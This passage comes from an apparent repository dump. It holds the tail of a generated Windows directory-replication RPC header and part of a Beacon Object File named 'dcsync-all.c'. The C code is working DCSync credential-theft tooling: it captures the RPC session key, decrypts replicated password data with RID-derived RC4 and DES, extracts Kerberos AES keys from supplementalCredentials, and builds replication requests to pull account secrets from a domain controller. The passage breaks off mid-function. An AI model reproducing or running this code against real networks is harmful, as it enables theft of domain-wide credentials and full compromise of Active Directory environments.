  /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_CRACKREQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_CRACKREPLY *pmsgOut);\r\n\r\nULONG IDL_DRSWriteSPN( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_SPNREQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_SPNREPLY *pmsgOut);\r\n\r\nULONG IDL_DRSRemoveDsServer( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_RMSVRREQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_RMSVRREPLY *pmsgOut);\r\n\r\nULONG IDL_DRSRemoveDsDomain( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_RMDMNREQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_RMDMNREPLY *pmsgOut);\r\n\r\nULONG IDL_DRSDomainControllerInfo( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_DCINFOREQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_DCINFOREPLY *pmsgOut);\r\n\r\nULONG IDL_DRSAddEntry( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_ADDENTRYREQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_ADDENTRYREPLY *pmsgOut);\r\n\r\nULONG IDL_DRSExecuteKCC( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_KCC_EXECUTE *pmsgIn);\r\n\r\nULONG IDL_DRSGetReplInfo( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_GETREPLINFO_REQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_GETREPLINFO_REPLY *pmsgOut);\r\n\r\nULONG IDL_DRSAddSidHistory( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_ADDSIDREQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_ADDSIDREPLY *pmsgOut);\r\n\r\nULONG IDL_DRSGetMemberships2( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_GETMEMBERSHIPS2_REQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_GETMEMBERSHIPS2_REPLY *pmsgOut);\r\n\r\nULONG IDL_DRSReplicaVerifyObjects( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_REPVERIFYOBJ *pmsgVerify);\r\n\r\nULONG IDL_DRSGetObjectExistence( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_EXISTREQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_EXISTREPLY *pmsgOut);\r\n\r\nULONG IDL_DRSQuerySitesByCost( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_QUERYSITESREQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_QUERYSITESREPLY *pmsgOut);\r\n\r\nULONG IDL_DRSInitDemotion( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_INIT_DEMOTIONREQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_INIT_DEMOTIONREPLY *pmsgOut);\r\n\r\nULONG IDL_DRSReplicaDemotion( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_REPLICA_DEMOTIONREQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_REPLICA_DEMOTIONREPLY *pmsgOut);\r\n\r\nULONG IDL_DRSFinishDemotion( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_FINISH_DEMOTIONREQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_FINISH_DEMOTIONREPLY *pmsgOut);\r\n\r\nULONG IDL_DRSAddCloneDC( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_ADDCLONEDCREQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_ADDCLONEDCREPLY *pmsgOut);\r\n\r\nULONG IDL_DRSWriteNgcKey( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_WRITENGCKEYREQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_WRITENGCKEYREPLY *pmsgOut);\r\n\r\nULONG IDL_DRSReadNgcKey( \r\n    /* [ref][in] */ DRS_HANDLE hDrs,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DRS_MSG_READNGCKEYREQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DRS_MSG_READNGCKEYREPLY *pmsgOut);\r\n\r\n\r\n\r\nextern RPC_IF_HANDLE drsuapi_v4_0_c_ifspec;\r\nextern RPC_IF_HANDLE drsuapi_v4_0_s_ifspec;\r\n#endif /* __drsuapi_INTERFACE_DEFINED__ */\r\n\r\n#ifndef __dsaop_INTERFACE_DEFINED__\r\n#define __dsaop_INTERFACE_DEFINED__\r\n\r\n/* interface dsaop */\r\n/* [unique][version][uuid] */ \r\n\r\ntypedef /*  */ struct __MIDL_dsaop_0001\r\n    {\r\n    DWORD Flags;\r\n    /* [range] */ DWORD cbPassword;\r\n    /* [size_is] */ BYTE *pbPassword;\r\n    } \tDSA_MSG_EXECUTE_SCRIPT_REQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_dsaop_0002\r\n    {\r\n    /* [case()] */ DSA_MSG_EXECUTE_SCRIPT_REQ_V1 V1;\r\n    } \tDSA_MSG_EXECUTE_SCRIPT_REQ;\r\n\r\ntypedef /*  */ struct __MIDL_dsaop_0003\r\n    {\r\n    DWORD dwOperationStatus;\r\n    /* [string] */ LPWSTR pwErrMessage;\r\n    } \tDSA_MSG_EXECUTE_SCRIPT_REPLY_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_dsaop_0004\r\n    {\r\n    /* [case()] */ DSA_MSG_EXECUTE_SCRIPT_REPLY_V1 V1;\r\n    } \tDSA_MSG_EXECUTE_SCRIPT_REPLY;\r\n\r\ntypedef /*  */ struct __MIDL_dsaop_0005\r\n    {\r\n    DWORD Reserved;\r\n    } \tDSA_MSG_PREPARE_SCRIPT_REQ_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_dsaop_0006\r\n    {\r\n    /* [case()] */ DSA_MSG_PREPARE_SCRIPT_REQ_V1 V1;\r\n    } \tDSA_MSG_PREPARE_SCRIPT_REQ;\r\n\r\ntypedef /*  */ struct __MIDL_dsaop_0007\r\n    {\r\n    DWORD dwOperationStatus;\r\n    /* [string] */ LPWSTR pwErrMessage;\r\n    /* [range] */ DWORD cbPassword;\r\n    /* [size_is] */ BYTE *pbPassword;\r\n    /* [range] */ DWORD cbHashBody;\r\n    /* [size_is] */ BYTE *pbHashBody;\r\n    /* [range] */ DWORD cbHashSignature;\r\n    /* [size_is] */ BYTE *pbHashSignature;\r\n    } \tDSA_MSG_PREPARE_SCRIPT_REPLY_V1;\r\n\r\ntypedef /* [switch_type] */ union __MIDL_dsaop_0008\r\n    {\r\n    /* [case()] */ DSA_MSG_PREPARE_SCRIPT_REPLY_V1 V1;\r\n    } \tDSA_MSG_PREPARE_SCRIPT_REPLY;\r\n\r\nULONG IDL_DSAPrepareScript( \r\n    /* [in] */ handle_t hRpc,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DSA_MSG_PREPARE_SCRIPT_REQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DSA_MSG_PREPARE_SCRIPT_REPLY *pmsgOut);\r\n\r\nULONG IDL_DSAExecuteScript( \r\n    /* [in] */ handle_t hRpc,\r\n    /* [in] */ DWORD dwInVersion,\r\n    /* [switch_is][ref][in] */ DSA_MSG_EXECUTE_SCRIPT_REQ *pmsgIn,\r\n    /* [ref][out] */ DWORD *pdwOutVersion,\r\n    /* [switch_is][ref][out] */ DSA_MSG_EXECUTE_SCRIPT_REPLY *pmsgOut);\r\n\r\n\r\n\r\nextern RPC_IF_HANDLE dsaop_v1_0_c_ifspec;\r\nextern RPC_IF_HANDLE dsaop_v1_0_s_ifspec;\r\n#endif /* __dsaop_INTERFACE_DEFINED__ */\r\n\r\n/* Additional Prototypes for ALL interfaces */\r\n\r\nvoid __RPC_USER DRS_HANDLE_rundown( DRS_HANDLE );\r\n\r\n/* end of Additional Prototypes */\r\n\r\n#ifdef __cplusplus\r\n}\r\n#endif\r\n\r\n#endif\r\n\r\n\r\n"
  },
  {
    "path": "AD-BOF/DCSync-BOF/src/dcsync-all.c",
    "content": "#include \"../_include/dcsync.h\"\n#include \"../_include/beacon.h\"\n\n#include \"../util/ldap_common.c\"\n#include \"../util/ldap_syncall.c\"\n\n\nvoid BytesToHex(const BYTE* bytes, DWORD len, char* output) {\n    const char* hexChars = \"0123456789abcdef\";\n    for (DWORD i = 0; i < len; i++) {\n        output[i * 2] = hexChars[(bytes[i] >> 4) & 0xF];\n        output[i * 2 + 1] = hexChars[bytes[i] & 0xF];\n    }\n    output[len * 2] = '\\0';\n}\n\n// Session key captured by callback - one-time copy only\nstatic BYTE g_SessionKeyCopy[256] = {0};\nstatic DWORD g_SessionKeyCopyLen = 0;\nstatic volatile LONG g_SessionKeyCapturing = 0;\n\nvoid RPC_ENTRY RpcSecurityCallback(void *Context) {\n    // Atomic check-and-set: only one thread can pass this\n    if (InterlockedCompareExchange(&g_SessionKeyCapturing, 1, 0) != 0) {\n        return; // Another thread is already capturing or has captured\n    }\n    \n    PCtxtHandle pSecurityContext = NULL;\n    SecPkgContext_SessionKey sessionKey = {0, NULL};\n    \n    if (RPCRT4$I_RpcBindingInqSecurityContext(Context, (void**)&pSecurityContext) != RPC_S_OK || !pSecurityContext) {\n        return;\n    }\n    \n    if (SECUR32$QueryContextAttributesA(pSecurityContext, SECPKG_ATTR_SESSION_KEY, &sessionKey) == SEC_E_OK &&\n        sessionKey.SessionKeyLength > 0 && sessionKey.SessionKeyLength <= 256 && sessionKey.SessionKey) {\n        \n        // Copy session key to static buffer\n        MSVCRT$memcpy(g_SessionKeyCopy, sessionKey.SessionKey, sessionKey.SessionKeyLength);\n        g_SessionKeyCopyLen = sessionKey.SessionKeyLength;\n        \n        SECUR32$FreeContextBuffer(sessionKey.SessionKey);\n    }\n}\n\nBOOL DecryptWithSessionKey(\n    const BYTE* encryptedData,\n    DWORD encryptedLen,\n    const BYTE* sessionKey,\n    DWORD sessionKeyLen,\n    BYTE* output,\n    DWORD* outputLen\n) {\n    if (!encryptedData || !sessionKey || !output || encryptedLen < 20) {\n        return FALSE;\n    }\n    \n    const BYTE* salt = encryptedData;\n    const BYTE* encPayload = encryptedData + 16;\n    DWORD encPayloadLen = encryptedLen - 16;\n    \n    HCRYPTPROV hProv = 0;\n    HCRYPTHASH hHash = 0;\n    BYTE derivedKey[16];\n    DWORD derivedKeyLen = 16;\n    \n    if (!ADVAPI32$CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT) ||\n        !ADVAPI32$CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) {\n        if (hProv) ADVAPI32$CryptReleaseContext(hProv, 0);\n        return FALSE;\n    }\n    \n    ADVAPI32$CryptHashData(hHash, sessionKey, sessionKeyLen, 0);\n    ADVAPI32$CryptHashData(hHash, salt, 16, 0);\n    \n    if (!ADVAPI32$CryptGetHashParam(hHash, HP_HASHVAL, derivedKey, &derivedKeyLen, 0)) {\n        ADVAPI32$CryptDestroyHash(hHash);\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        return FALSE;\n    }\n    \n    ADVAPI32$CryptDestroyHash(hHash);\n    ADVAPI32$CryptReleaseContext(hProv, 0);\n\n    BYTE* tempOutput = (BYTE*)MSVCRT$malloc(encPayloadLen);\n    if (!tempOutput) {\n        return FALSE;\n    }\n    \n    BOOL result = DecryptRC4WithRawKey(encPayload, encPayloadLen, derivedKey, 16, tempOutput);\n    \n    if (result && encPayloadLen > 4) {\n            DWORD receivedChecksum = *(DWORD*)tempOutput;\n            DWORD realDataLen = encPayloadLen - 4;\n            BYTE* realData = tempOutput + 4;\n            \n            DWORD calculatedChecksum = 0xFFFFFFFF;  \n            for (DWORD i = 0; i < realDataLen; i++) {\n                DWORD byte = realData[i];\n                calculatedChecksum = calculatedChecksum ^ byte;\n                for (int j = 0; j < 8; j++) {\n                    DWORD mask = -(calculatedChecksum & 1);\n                    calculatedChecksum = (calculatedChecksum >> 1) ^ (0xEDB88320 & mask);\n                }\n            }\n            calculatedChecksum = ~calculatedChecksum;\n            \n            if (receivedChecksum == calculatedChecksum && outputLen) {\n                MSVCRT$memcpy(output, realData, realDataLen);\n                *outputLen = realDataLen;\n            } else {\n                result = FALSE;\n            }\n    } else {\n        result = FALSE;\n    }\n    \n    MSVCRT$free(tempOutput);\n    return result;\n}\n\nBOOL DecryptRC4WithRawKey(const BYTE* encData, DWORD encLen, const BYTE* key, DWORD keyLen, BYTE* output) {\n    HCRYPTPROV hProv = 0;\n    HCRYPTKEY hKey = 0;\n    BOOL success = FALSE;\n    \n    if (!ADVAPI32$CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {\n        return FALSE;\n    }\n    \n    struct {\n        BLOBHEADER hdr;\n        DWORD keySize;\n        BYTE keyBytes[16];\n    } keyBlob;\n    \n    keyBlob.hdr.bType = PLAINTEXTKEYBLOB;\n    keyBlob.hdr.bVersion = CUR_BLOB_VERSION;\n    keyBlob.hdr.reserved = 0;\n    keyBlob.hdr.aiKeyAlg = CALG_RC4;\n    keyBlob.keySize = keyLen;\n    MSVCRT$memcpy(keyBlob.keyBytes, key, keyLen);\n    \n    if (!ADVAPI32$CryptImportKey(hProv, (BYTE*)&keyBlob, sizeof(BLOBHEADER) + sizeof(DWORD) + keyLen, 0, 0, &hKey)) {\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        return FALSE;\n    }\n    \n    MSVCRT$memcpy(output, encData, encLen);\n    \n    DWORD dataLen = encLen;\n    if (ADVAPI32$CryptDecrypt(hKey, 0, TRUE, 0, output, &dataLen)) {\n        success = TRUE;\n    }\n    \n    if (hKey) ADVAPI32$CryptDestroyKey(hKey);\n    if (hProv) ADVAPI32$CryptReleaseContext(hProv, 0);\n    \n    return success;\n}\n\nBOOL DecryptRC4(const BYTE* encData, DWORD encLen, const BYTE* rid, BYTE* output) {\n    HCRYPTPROV hProv = 0;\n    HCRYPTHASH hHash = 0;\n    HCRYPTKEY hKey = 0;\n    BOOL success = FALSE;\n    \n    if (!ADVAPI32$CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {\n        return FALSE;\n    }\n    \n    if (!ADVAPI32$CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) {\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        return FALSE;\n    }\n    \n    if (!ADVAPI32$CryptHashData(hHash, rid, 4, 0)) {\n        goto cleanup;\n    }\n    \n    if (!ADVAPI32$CryptDeriveKey(hProv, CALG_RC4, hHash, 0, &hKey)) {\n        goto cleanup;\n    }\n    \n    MSVCRT$memcpy(output, encData, encLen);\n    \n    DWORD dataLen = encLen;\n    if (ADVAPI32$CryptDecrypt(hKey, 0, TRUE, 0, output, &dataLen)) {\n        success = TRUE;\n    }\n    \ncleanup:\n    if (hKey) ADVAPI32$CryptDestroyKey(hKey);\n    if (hHash) ADVAPI32$CryptDestroyHash(hHash);\n    if (hProv) ADVAPI32$CryptReleaseContext(hProv, 0);\n    \n    return success;\n}\n\nBOOL DecryptDESWithRid(const BYTE* encData, DWORD rid, BYTE* output) {\n    return encData && output && ADVAPI32$SystemFunction025(encData, &rid, output) == 0;\n}\n\n\n\nDWORD HexToBinary(const BYTE* hexData, DWORD hexLen, BYTE* binaryOut) {\n    if (!hexData || !binaryOut || hexLen < 2) return 0;\n    \n    DWORD binaryLen = 0;\n    for (DWORD i = 0; i + 1 < hexLen; i += 2) {\n        BYTE high = hexData[i];\n        BYTE low = hexData[i + 1];\n        \n        // Convert ASCII hex char to nibble\n        BYTE highNibble, lowNibble;\n        \n        if (high >= '0' && high <= '9') highNibble = high - '0';\n        else if (high >= 'a' && high <= 'f') highNibble = high - 'a' + 10;\n        else if (high >= 'A' && high <= 'F') highNibble = high - 'A' + 10;\n        else break; // Invalid hex char\n        \n        if (low >= '0' && low <= '9') lowNibble = low - '0';\n        else if (low >= 'a' && low <= 'f') lowNibble = low - 'a' + 10;\n        else if (low >= 'A' && low <= 'F') lowNibble = low - 'A' + 10;\n        else break; // Invalid hex char\n        \n        binaryOut[binaryLen++] = (highNibble << 4) | lowNibble;\n    }\n    \n    return binaryLen;\n}\n\n// Parse Kerberos keys from supplementalCredentials\nBOOL ParseKerberosKeys(const BYTE* propertyData, DWORD propertyLen, const char* samAccountName, const char* dcHostname, DWORD accountType, char* aes256Out, char* aes128Out) {\n    if (!propertyData || !propertyLen || propertyLen < 32 || !samAccountName) return FALSE;\n    \n    // Skip 4-byte version prefix if present (00 00 00 01/02/03)\n    const BYTE* structStart = propertyData;\n    if (propertyData[0] == 0 && propertyData[1] == 0 && propertyData[2] == 0 && \n        propertyData[3] >= 1 && propertyData[3] <= 3) {\n        structStart += 4;\n    }\n    \n    // Read structure revision (big-endian USHORT at offset +0)\n    USHORT revision = *(USHORT*)(structStart + 0);\n    revision = ((revision & 0xFF) << 8) | ((revision >> 8) & 0xFF);\n    BOOL isRevision0 = (revision == 0);\n    \n    // Read credential count (position varies by revision, big-endian)\n    USHORT credCount = *(USHORT*)(structStart + (isRevision0 ? 2 : 4));\n    credCount = ((credCount & 0xFF) << 8) | ((credCount >> 8) & 0xFF);\n    if (credCount == 0 || credCount > 100) credCount = 3;\n    \n    // Read salt length (position varies by revision, big-endian)\n    USHORT saltLen = *(USHORT*)(structStart + (isRevision0 ? 6 : 12));\n    saltLen = ((saltLen & 0xFF) << 8) | ((saltLen >> 8) & 0xFF);\n    if (saltLen == 0 || saltLen > 500) return FALSE;\n    \n    // Build search string to locate salt end based on account type\n    // Trust accounts: uppercase domain FQDN + \"krbtgt\" + samAccountName (without $)\n    // Computer accounts: \"host<computername>.<domain>\" (all lowercase)\n    // User accounts: username as-is\n    char searchName[256];\n    DWORD searchLen = 0;\n    DWORD nameLen = 0;\n    while (samAccountName[nameLen] != '\\0' && nameLen < 128) nameLen++;\n    \n    if (accountType == SAM_TRUST_ACCOUNT) {\n        // Trust account: uppercase domain FQDN + \"krbtgt\" + samAccountName (without $)\n        const char* domain = NULL;\n        if (dcHostname) {\n            for (DWORD i = 0; dcHostname[i] != '\\0'; i++) {\n                if (dcHostname[i] == '.') {\n                    domain = &dcHostname[i + 1];\n                    break;\n                }\n            }\n        }\n        if (domain && domain[0] != '\\0') {\n            // Add uppercase domain\n            for (DWORD i = 0; domain[i] != '\\0' && searchLen < 230; i++) {\n                searchName[searchLen++] = domain[i];\n            }\n            // Append \"krbtgt\"\n            if (searchLen + 6 < 255) {\n                searchName[searchLen++] = 'k';\n                searchName[searchLen++] = 'r';\n                searchName[searchLen++] = 'b';\n                searchName[searchLen++] = 't';\n                searchName[searchLen++] = 'g';\n                searchName[searchLen++] = 't';\n            }\n            // Append samAccountName (without trailing $)\n            DWORD trustNameLen = nameLen;\n            if (trustNameLen > 0 && samAccountName[trustNameLen - 1] == '$') trustNameLen--;\n            for (DWORD i = 0; i < trustNameLen && searchLen < 255; i++) {\n                searchName[searchLen++] = samAccountName[i];\n            }\n        }\n    } else if (accountType == SAM_MACHINE_ACCOUNT) {\n        // Computer account: uppercase FQDN + \"host\" + lowercase machine FQDN\n        const char* domain = NULL;\n        if (dcHostname) {\n            for (DWORD i = 0; dcHostname[i] != '\\0'; i++) {\n                if (dcHostname[i] == '.') {\n                    domain = &dcHostname[i + 1];\n                    break;\n                }\n            }\n        }\n        \n        if (domain && domain[0] != '\\0') {\n            // Add uppercase domain FQDN\n            for (DWORD i = 0; domain[i] != '\\0' && searchLen < 200; i++) {\n                searchName[searchLen++] = domain[i];\n            }\n        }\n        \n        // Append \"host\"\n        if (searchLen + 4 < 255) {\n            searchName[searchLen++] = 'h';\n            searchName[searchLen++] = 'o';\n            searchName[searchLen++] = 's';\n            searchName[searchLen++] = 't';\n        }\n        \n        // Add lowercase computer name (without trailing $)\n        DWORD compNameLen = nameLen;\n        if (nameLen > 0 && samAccountName[nameLen - 1] == '$') compNameLen--;\n        \n        for (DWORD i = 0; i < compNameLen && searchLen < 254; i++) {\n            searchName[searchLen++] = samAccountName[i];\n        }\n        \n        if (domain && domain[0] != '\\0') {\n            searchName[searchLen++] = '.';\n            for (DWORD i = 0; domain[i] != '\\0' && searchLen < 255; i++) {\n                searchName[searchLen++] = domain[i];\n            }\n        }\n    } else {\n        // User account (SAM_USER_OBJECT): uppercase FQDN + samAccountName\n        /*\n        // This is optional, causes issues with Administrator account. disabled for now\n        const char* domain = NULL;\n        if (dcHostname) {\n            for (DWORD i = 0; dcHostname[i] != '\\0'; i++) {\n                if (dcHostname[i] == '.') {\n                    domain = &dcHostname[i + 1];\n                    break;\n                }\n            }\n        }\n        \n        if (domain && domain[0] != '\\0') {\n            // Add uppercase domain FQDN\n            for (DWORD i = 0; domain[i] != '\\0' && searchLen < 200; i++) {\n                char c = domain[i];\n                if (c >= 'a' && c <= 'z') c -= ('a' - 'A');  // uppercase\n                searchName[searchLen++] = c;\n            }\n        }\n        */\n        // Append samAccountName as-is (lowercase for users)\n        for (DWORD i = 0; i < nameLen && searchLen < 255; i++) {\n            searchName[searchLen++] = samAccountName[i];\n        }\n    }\n    \n    // Convert to UTF-16LE for searching\n    BYTE searchUTF16[512];\n    for (DWORD i = 0; i < searchLen; i++) {\n        searchUTF16[i * 2] = searchName[i];\n        searchUTF16[i * 2 + 1] = 0x00;\n    }\n    DWORD searchUTF16Len = searchLen * 2;\n    \n    // Find salt end by locating the search string\n    DWORD descriptorStart = isRevision0 ? 32 : 28;\n    DWORD matchOffset = 0xFFFFFFFF;\n    for (DWORD i = descriptorStart + 20; i + searchUTF16Len <= propertyLen; i++) {\n        BOOL match = TRUE;\n        for (DWORD j = 0; j < searchUTF16Len; j++) {\n            BYTE propertyByte = propertyData[i + j];\n            BYTE searchByte = searchUTF16[j];\n            \n            // Case-insensitive comparison for ASCII letters in UTF-16LE (even positions only)\n            if (j % 2 == 0) {\n                // Convert to uppercase for comparison\n                if (propertyByte >= 'a' && propertyByte <= 'z') propertyByte -= ('a' - 'A');\n                if (searchByte >= 'a' && searchByte <= 'z') searchByte -= ('a' - 'A');\n            }\n            \n            if (propertyByte != searchByte) {\n                match = FALSE;\n                break;\n            }\n        }\n        if (match) {\n            matchOffset = i;\n            break;\n        }\n    }\n    \n    if (matchOffset == 0xFFFFFFFF) return FALSE;\n    \n    // Calculate salt boundaries\n    DWORD saltEnd = matchOffset + searchUTF16Len;\n    \n    // Need at least 48 bytes for AES256 (32) + AES128 (16)\n    if (propertyLen - saltEnd < 48) {\n        return FALSE;\n    }\n    \n    // Keys are stored after salt as raw binary data\n    DWORD scanStart = saltEnd;\n    \n    for (DWORD tryOffset = scanStart; tryOffset + 48 <= propertyLen; tryOffset++) {\n        // Check if this looks like binary key data vs UTF-16LE text\n        DWORD zeroCount = 0;\n        DWORD evenZeros = 0;   // Zeros at even positions (0, 2, 4...)\n        DWORD oddZeros = 0;    // Zeros at odd positions (1, 3, 5...)\n        DWORD highBitCount = 0; // Bytes >= 0x80\n        \n        for (DWORD i = 0; i < 48; i++) {\n            BYTE b = propertyData[tryOffset + i];\n            if (b == 0x00) {\n                zeroCount++;\n                if (i % 2 == 0) evenZeros++;\n                else oddZeros++;\n            }\n            if (b >= 0x80) highBitCount++;\n        }\n        \n        // Skip if this looks like UTF-16LE text\n        // User account keys may have more zeros than machine/trust keys\n        // Be less strict for better compatibility\n        if (oddZeros > 5) continue;  // Too many odd zeros = UTF-16LE pattern  \n        if (zeroCount > 30) continue;  // More than 62% zeros = likely padding\n        if (highBitCount < 5) continue;  // Need some high-bit bytes for randomness\n        \n        // This looks like binary data - validate entropy\n        char tempAES256[65] = {0};\n        char tempAES128[33] = {0};\n        BytesToHex(propertyData + tryOffset, 32, tempAES256);\n        BytesToHex(propertyData + tryOffset + 32, 16, tempAES128);\n        \n        // Check for good entropy (not all same characters)\n        DWORD sameCount256 = 0, sameCount128 = 0;\n        for (int i = 1; i < 64; i++) {\n            if (tempAES256[i] == tempAES256[i-1]) sameCount256++;\n        }\n        for (int i = 1; i < 32; i++) {\n            if (tempAES128[i] == tempAES128[i-1]) sameCount128++;\n        }\n        if (sameCount256 > 50 || sameCount128 > 25) continue;\n        \n        // Found valid keys\n        if (aes256Out) MSVCRT$memcpy(aes256Out, tempAES256, 65);\n        if (aes128Out) MSVCRT$memcpy(aes128Out, tempAES128, 33);\n        return TRUE;\n    }\n    \n    return FALSE;\n}\n\nvoid InitDRSRequest(DRS_MSG_GETCHGREQ* request, const GUID* dcGuid, DSNAME* targetDsname) {\n    if (!request) return;\n    \n    MSVCRT$memset(request, 0, sizeof(DRS_MSG_GETCHGREQ));\n    \n    if (dcGuid) {\n        MSVCRT$memcpy(&request->V8.uuidDsaObjDest, dcGuid, sizeof(GUID));\n    }\n    \n    request->V8.pNC = targetDsname;\n    MSVCRT$memset(&request->V8.uuidInvocIdSrc, 0, sizeof(UUID));\n    MSVCRT$memset(&request->V8.usnvecFrom, 0, sizeof(USN_VECTOR));\n    request->V8.pUpToDateVecDest = NULL;\n    request->V8.ulFlags = DRS_INIT_SYNC | DRS_WRIT_REP | DRS_NEVER_SYNCED | DRS_FULL_SYNC_NOW | DRS_SYNC_URGENT;\n    request->V8.cMaxObjects = 1;\n    request->V8.cMaxBytes = 0xA00000;\n    request->V8.ulExtendedOp = EXOP_REPL_OBJ;\n    MSVCRT$memset(&request->V8.liFsmoInfo, 0, sizeof(ULARGE_INTEGER));\n    request->V8.pPartialAttrSet = NULL;\n    request->V8.pPartialAttrSetEx = NULL;\n    request->V8.PrefixTableDest.PrefixCount = 0;\n    request->V8.PrefixTableDest.pPrefixEntry = NULL;\n}\n\nDSNAME* BuildDSName(const char* dn, const GUID* guid) {\n    if (!dn) return NULL;\n    \n    size_t dnLen = MSVCRT$strlen(dn);\n    if (dnLen > 4096) return NULL; // Sanity check\n    wchar_t* wDn = CharToWChar(dn);\n    if (!wDn) return NULL;\n    \n    size_t wDnLen = 0;\n    while (wDn[wDnLen] != 0) wDnLen++;\n    \n    // Calculate structure size properly using FIELD_OFFSET\n    // DSNAME has: structLen, SidLen, Guid, Sid (28 bytes), NameLen, StringName[1]\n    // We need: base structure + space for (wDnLen) wide chars (StringName[1] already counts for 1)\n    // NOTE: structLen should include the null terminator\n    DWORD structLen = (DWORD)(sizeof(DSNAME) - sizeof(WCHAR) + ((wDnLen + 1) * sizeof(WCHAR)));\n    \n    DSNAME* dsname = (DSNAME*)MSVCRT$malloc(structLen);\n    if (!dsname) {\n        MSVCRT$free(wDn);\n        return NULL;\n    }\n    